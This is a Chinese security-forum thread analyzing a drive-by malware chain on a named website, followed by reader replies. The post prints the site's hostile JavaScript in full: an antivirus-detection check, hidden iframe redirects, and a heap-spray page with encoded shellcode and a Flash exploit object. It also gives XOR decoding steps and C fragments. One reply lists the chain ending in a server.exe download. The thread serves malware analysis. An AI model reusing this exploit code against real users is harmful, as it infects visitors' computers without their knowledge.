吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 24436|回复: 42
收起左侧

[PC样本分析] 对某站挂马手法及网马加密方法的分析

  [复制链接]
后恋0 发表于 2011-7-15 18:19
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 后恋0 于 2012-12-7 18:07 编辑

    
因为这个网站挂马有段js代码可以判断360软件是否存在,以决定是否进行木马下载。觉得这个挂马的人思路很好,就想仔细分析下其挂马手法,顺便分析了下这个简单的网马加密。 1.bmp
主要是对该段检测360js代码的分析以及对网马的解密。
1、检测360的代码
上代码看注释:
<html>
<SCRIPT LANGUAGE="JavaScript">
<!-- Hide
function killErrors()
//容错函数
{
return true;
}
window.onerror = killErrors;

// -->
fEfYgDH1=navigator.userAgent.toLowerCase();//判断浏览器类型
laAtA3=((fEfYgDH1.indexOf('windows nt5.1')!=-1)||(fEfYgDH1.indexOf('windows xp')!=-1));//成功则laAtA3为真
if(laAtA3&&navigator.userAgent.toLowerCase().indexOf("\x6D"+"\x73"+"\x69"+"\x65\x38")!=-1) 
//判断系统版本(平台自身的识别信息“Windows NT 5.1”表示“操作系统为 Windows XP”)、版本标识(“MSIE 8.0)
location.replace("about:blank");
//如果如上则跳转到空白页
</script>
<head>

<Script>
//判断系统是否有360
var Is360;

var bFilter360=false;
//是否过滤360

if(bFilter360)
{
try
{
var g;
var glworld=newActiveXObject("360SafeLive.Update");//判断是否存在360,如果存在360SafeLive.Update这个activex控件则断定安装360软件

}
catch(g)
{

};

finally
{
if(g=="[object Error]")
{
Is360 = "Not find 360";
}
else
{
Is360 = "Find 360";
//window.location="about:blank";
}

}
}
//判断360结束
</script>
<script>
var self_url = document.location.href.toLowerCase();//将本页面的url全部转化为小写,并取当前url 
var strid = new Array();
//定义strid为一个新数组
strid = self_url.split("?id=");
//见到?id=则分解 
var id = strid[1];//获取 ?id=后面部分链接地址,一般即id
if(id == null) //若为空则id默认置为0
id = 0;

var IsSucc;

/////////////////////////////
var lesson = 15;

var num = Math.random()*100; //随机产生一个num0,100)之间的数
;
document.write(num);
if(num > lesson)
//大于15,则IsSucctrue
IsSucc = true;
else
IsSucc = false;

///////////////////////////// 
document.write( document.writeln("<scriptsrc=\'chk.php?id=" + id + "\'><\/script>") ) ; 
//document.writeln("<scriptsrc=\'safe.js\'><\/script>"); 
</script>
</head>

<body>
<script>
window.onerror=function()
{

return true;
}
document.writeln("<iframeid='abc' src='about:blank' width=100 height=110><\/iframe>");



if(document.cookie.indexOf("IsGone=")==-1)
//如果cookie里面不包含IsGone即未访问过该主站
{

var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="IsGone=Yes;
path=/;
expires="+expires.toGMTString();

boom();
//调用函数对操作进行定位,进行重定向。

var tj_num = "";

//IsSucc = false;
//no ip
if(IsSucc == true)
{
if(id == 111)
tj_num = "1146589";
else
if(id == 112)
tj_num = "1003479";
else
if(id == 113)
tj_num = "2442875";

//下面是特殊的
if(id == 7002)
tj_num = "1179482";


}

统计代码1

if(IsSucc == true)
{

统计代码2

document.writeln(IsSucc);

}

}

function boom()
//360检测完成之后的操作
{
if(Is360=="Find 360" &&bFilter360)
//过滤360并且有360则停止
{
return;
}
var url = "kbl.html?id=" +id;

var ifra =document.getElementById("abc");
ifra.src = url;
//产生新url,即为挂马的下一级!!

}

if(Is360=="Find 360" &&bFilter360)
{
window.location="about:blank";
}
</script>


</body>
</html>
由上面
var url ="kbl.html?id=" + id;

var ifra =document.getElementById("abc");
ifra.src = url;
//产生新url,即为挂马的下一级!!这段js代码知道,网马的下级地址应该就是当前目录http://www.mtvye.com/wm/ + kbl.html?id=+” id”,此处的id是关键由上面代码知id可以取0或其他值取决于上级目录?id=后面的id值。此处看链接没有发现?id=字段,故id0,由此得出下级挂马链接为http://www.mtvye.com/wm/kbl.html?id=0,进入链接后代码如下
<HTML><BODY><scriptlanguage="JavaScript">var self_url =document.location.href.toLowerCase();var strid = newArray();strid =self_url.split("?id=");var id =strid[1];document.writeln("<iframewidth=100 height=0 src=load.html></iframe>")
//此处为下级挂马链接。</script></BODY></HTML>


下级挂马链接地址应该为http://www.mtvye.com/wm/load.html进入分析,
<iframesrc=1.html width=50 height=1></iframe>
<iframesrc=2.html width=50 height=1></iframe>
知道有两个链接http://www.mtvye.com/wm/l.html以及http://www.mtvye.com/wm/2.html很容易就可以对比出来2.html是挂马链接明显是加密链接代码如下:
<html>

<body>

<script>

function ac2(){

var a4 = unescape('%u5'+'858'+'%u58'+'58%u10EB%u4B'+'5B%uC'+'933%uB96'+'6%u03B8%u34'+'80%uBD0B%uFA'+'E2%u05E'+'B%uEB'+'E8%uFF'+'FF%u54FF%uBEA3%uBDBD%uD9E2%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD74A%uE4AC%u0355%uBDBF%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36E9%uB1FB%u0355%uBDBC%u36BD%uD755%uE4B8%u2355%uBDBF%u5FBD%uD544%uD3D'+'2%uBDBD%uC8D5%uD1CF%uE9D0%uAB42%u7D38%uAEC8%uD2D5%uBDD3%uD5BD%uCFC8%uD0D1%u36E9%uB1FB%u3355%uBDBC%u36BD%uD755%uE4BC%uD355%uBDBF%u5FBD%uD544%u8ED1%uBD8F%uCE'+'D5%uD8D5%uE9D1%uFB36%u55B1%uBCD2%uBDBD%u5536%uBCD7%u55E4%uBFF2%uBDBD%u445F%u513C%uBCBD%uBDBD%u6136%u7E3C%uBD3D%uBDBD%uBDD7%uA7D7%uD7EE%u42BD%uE1EB%u7D8E%u3DFD%uBE81%uC8BD%u7A44%uBEB9%uDBE1%uD893%uF97A%uB9BE%uD8C5%uBDBD%u748E%uECEC%uEAEE%u8EEC%u367D%uE5FB%u9F55%uBDBC%u3EBD%uBD45%u1E54%uBDBD%u2DBD%uBDD7%uBDD7%uBED7%uBDD7%uBFD7%uBDD5%uBDBD%uEE7D%uFB36%u5599%uBCBC%uBDBD%uFB34%uD7DD%uEDBD%uEB42%u3495%uD9FB%uFB36%uD7DD%uD7BD%uD7BD%uD7BD%uD7B9%uED'+'BD%uEB42%uD791%uD7BD%uD7BD%uD5BD%uBDA2%uBDB2%u42ED%u81EB%uFB34%u36C5%uD9F3%uC13D%u42B5%uC909%u3DB1%uB5C1%uBD42%uB8C9%uC93D%u42B5%u5F09%u3456%u3D3B%uBDBD%u7ABD%uCDFB%uBDBD%uBDBD%uFB7A%uBDC9%uBDBD%uD7BD%uD7BD%uD7BD%u36BD%uDDFB%u42ED%u85EB%u3B36%uBD3D%uBDBD%uBDD7%uF330%uECC9%uCB42%uEDCD%uCB42%u42DD%u8DEB%uCB42%u42DD%u89EB%uCB42%u42C5%uFDEB%u4636%u7D8E%u668E%u513C%uB'+'FBD%uBDBD%u7136%u453E%uC0E9%u34B5%uBCA1%u7D3E%u56B9%u364E%u3671%u3E64%uAD7E%u7D8E%uECED%uEDEE%uEDED%uEDED%uEAED%uEDED%uEB42%u36B5%uE9C3%uAD55%uBDBC%u55BD%uBDD8%uBDBD%uDED5%uCACB%uD5BD%uD5CE%uD2D9%u36E9%uB1FB%u9955%uBDBD%u34BD%u81FB%u1CD9%uBDB9%uBDBD%u1D30%u42DD%u4242%uD8D7%uCB42%u3681%uADFB%uB555%uBDBD%u8EBD%uEE66%uEEEE%u42EE%u3D6D%u5585%u853D%uC854%u3CAC%uB'+'8C5%u2D2D%u2D2D%uB5C9%u4236%u36E8%u3051%uB8FD%u5D42%u1B55%uBDBD%u7EBD%u1D55%uBDBD%u05BD%uBCAC%u3DB9%uB17F%u55BD%uBD2E%uBDBD%u513C%uBCBD%uBDBD%u4'+'136%u7A3E%u7AB9%u8FBA%u2CC9%u7AB1%uB9FA%u34DE%uF26C%uFA7A%u1DB5%u2A'+'D8%u7A76%uB1FA%uFDEC%uC207%uFA7A%u83AD%u0BA0%u7A84%uA9FA%uD405%uA66'+'9%uFA7A%u03A5%uDBC2%u7A1D%uA1FA%u1441%u108A%uFA7A%u259D%uADB7%uD945%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD74A%uE4B9%uE955%uBDBD%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36E9%u55BB%u42E8%u4242%u5536%uB8D'+'7%u55E4%uBD88%uBDBD%u445F%u428E%u42EA%uB9EB%uBF56%u7EE5%u4455%u4242%uE642%uBA7B%u3405%uBCE2%u7ADB%uB8FA%u5D42%uEE7E%u6136%uD7EE%uD5FD%uADBD%uBDBD%u36EA%u9DFB%uA555%u4242%uE542%uEC7E%u36EB%u81C8%uC936%uC593%u48BE%u36EB%u9DCB%u48BE%u748E%uFCF4%uBE10%u8E78%uB266%uAD03%u6B87%uB5C9%u767C%uBEBA%uFD67%u4C56%uA286%u5AC8%u36E3%u99E3%u60BE%u36DB%uF6B1%uE336%uBEA1%u3660%u36B9%u78BE%uE316%u7EE4%u6055%u4241%u0F42%u5F4F%u8449%uC05F%u673E%uC6F5%u8F80%u2CC9%u38B1%u1262%uDE06%u6C34%uECF2%u07FD%u1DC2%u2AD8%uA376%uD919%u2E52%u598F%u3329%uB7AE%u7F11%uF6A4%u79BC%uA230%uEAC9%uB0DB%uFE42%u1103%uC066%u184D%uEF27%u1A43%u8367%u0BA0%u0584%u69D4%u03A6%uDBC2%u411D%u8A14%u2510%uADB7%u3D45%u126B%u4627%uA8EE%ud5db%uc9c9%u87cd%u9292%ucaca%u93ca%uc9d0%uc4cb%u93d8%ud2de%u92d0%ud8ce%ucbcf%ucfd8%ud893%ud8c5%uBDBD%uBDBD%uEA'+'EA%uEA'+'EA%uEAEA%uEAEA');

       a3=new Array();

       var a5=0x86000-(a4.length*2);

 eval("\166\141\162\40\114\106\154\167\102\141\75\165\156\145\163\143\141\160\145\50\47\45\165\60\143\60\143\45\165\60\143\60\143\47\51\73");

       while(LFlwBa.length<a5/2){

              LFlwBa+=LFlwBa; };

       var a6=LFlwBa.substring(0,a5/2);

       delete LFlwBa;

       for(i=0;i<270;i++){              a3[i]=a6+a6+a4;     }}

ac2();

</script>

<center>  

              

                     <object
classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"

                           id="SyODDHJe"
width="0" height="0"

                          
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">

                       <param name="movie"
value="cosplay.swf" />

                   </object>

</center>

</body>
中间一段unescape函数内的参数,便是加密后的代码。
加密方式为逆置之后进行xor异或运算,
   如%u54FF%uBEA3解密步骤为,
0x00逆置: 0xFF54, 0xA3BE
0x01异或: 与某一key值进行异或
0x02选key: 代码最后%uBDBD%uBDBD%两句可以尝试下key=0xBD
0x03表示: 即为 0x54^0xBD , 0xFF^0xBD….依次类推,
0x04地址: 打印出其十六进制所对应字符串值即为解密网马地址
如图:
解密.bmp
解密
本来写了一段解密代码,可惜实在不堪入目,bug众多,所以这里就仅仅提供点关键代码
片段1
/遍历删除%u,并且进行逆置
//下面代码实现逆置,以及添0x,使初步解密代码形如0xXX的十六进制形shi

while(i<=d)
{
switch(encrypt[i])

{
case '\\':i++;break;
case '+' :i++;break;
case '\'': i++;break;
case '%':i++;decrypt[j++]='0';break;
case'u':i++;decrypt[j++]='x';break;
default:decrypt[j]= encrypt[i+2];decrypt[++j]=encrypt[i+3];
decrypt[++j]=',';
decrypt[++j]='0';decrypt[++j]='x';

decrypt[++j]= encrypt[i];decrypt[++j]=encrypt[i+1];
decrypt[++j]=',';

j++;i+=4;

break;

}

}
片段2
//下面代码实现字符串十六进制转化为整形十六进制
while(decrypt[i] != '\0')
{
printf("%x",hexcrypt[j++]=strtol(&decrypt[i], NULL, 16));
i+=5;
}
片段3
//对逆置后的代码进行xor处理
while(hexcrypt[i])
{
hexcrypt[i] = hexcrypt[i]^key;
i++;

}
片段4
//最终解密处网马地址进行打印输出
while(hexcrypt[i])
{
fprintf(fpw, "%c",hexcrypt[i]);
printf("%c",hexcrypt[i++]);

}


好久不写代码实在是捉襟见肘啊。
最终挂马关系

挂马关系:   
     http://ww==w.mtvye.com/
     └http://ww==w.mtvye.com/wm/index1.html
        └http://ww==w.mtvye.com/wm/kbl.html?id=0
            └http://ww==w.mtvye.com/wm/load.html
                └http://ww==w.mtvye.com/wm/2.html
次木马依然存在最好不要直接进入该网站

免费评分

参与人数 1热心值 +1 收起 理由
roxiel + 1 感谢发布原创作品,[吾爱破解]因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

残剑 发表于 2011-7-15 18:22
本帖最后由 残剑 于 2011-7-15 18:23 编辑

学习了............感谢分享....

要是视频教程就更好了 ........
vistamm 发表于 2011-7-15 19:37
sorataxx 发表于 2011-7-16 10:07
本帖最后由 sorataxx 于 2011-7-16 23:54 编辑

很好,浅显易懂,其实这类的网站太多了,关键是仔细

关于:hxxp://www.mtvye.com/解密的日志(全体输出 -  7):

Level  0>hxxp://www.mtvye.com/
Level  1>hxxp://www.mtvye.com/wm/index1.html
Level  2>hxxp://www.mtvye.com/wm/kbl.html?id=0
Level  3>hxxp://www.mtvye.com/wm/load.html
Level  4>hxxp://www.mtvye.com/wm/2.html
Level  5>hxxp://www.mtvye.com/server.exe
Level  5>hxxp://www.mtvye.com/wm/cosplay.swf

analyzed by 叉就是叉

免费评分

参与人数 1热心值 +1 收起 理由
是昔流芳 + 1 欢迎讨论交流,[吾爱破解]有你更精彩!

查看全部评分

是昔流芳粉 发表于 2011-7-19 11:21
本帖最后由 是昔流芳 于 2011-7-20 09:50 编辑

自己试了半天,也搞不出那个exe结果。
268561 发表于 2011-7-20 09:21
LZ,忘记分析那一段最重要的代码了! 这应该是09年的网马!
vexing 发表于 2011-7-24 14:25
过来看下...
自己正在学习中....
疯狂的小鬼 发表于 2011-7-27 11:34
回复 sorataxx 的帖子

{:1_931:}
好厉害。。
大大。。

免费评分

参与人数 1热心值 +1 收起 理由
sorataxx + 1 败给你了。。。

查看全部评分

37566454 发表于 2011-7-27 11:38
真是强大~~ 现在的病毒木马太疯狂了!
Foox 发表于 2011-7-27 11:58
看电脑下病毒,黑客思路很好,将来黑客还可以根据各个杀软的特点各个击破,我可不想用虚拟机,沙箱之类的上网......
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 07:16

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表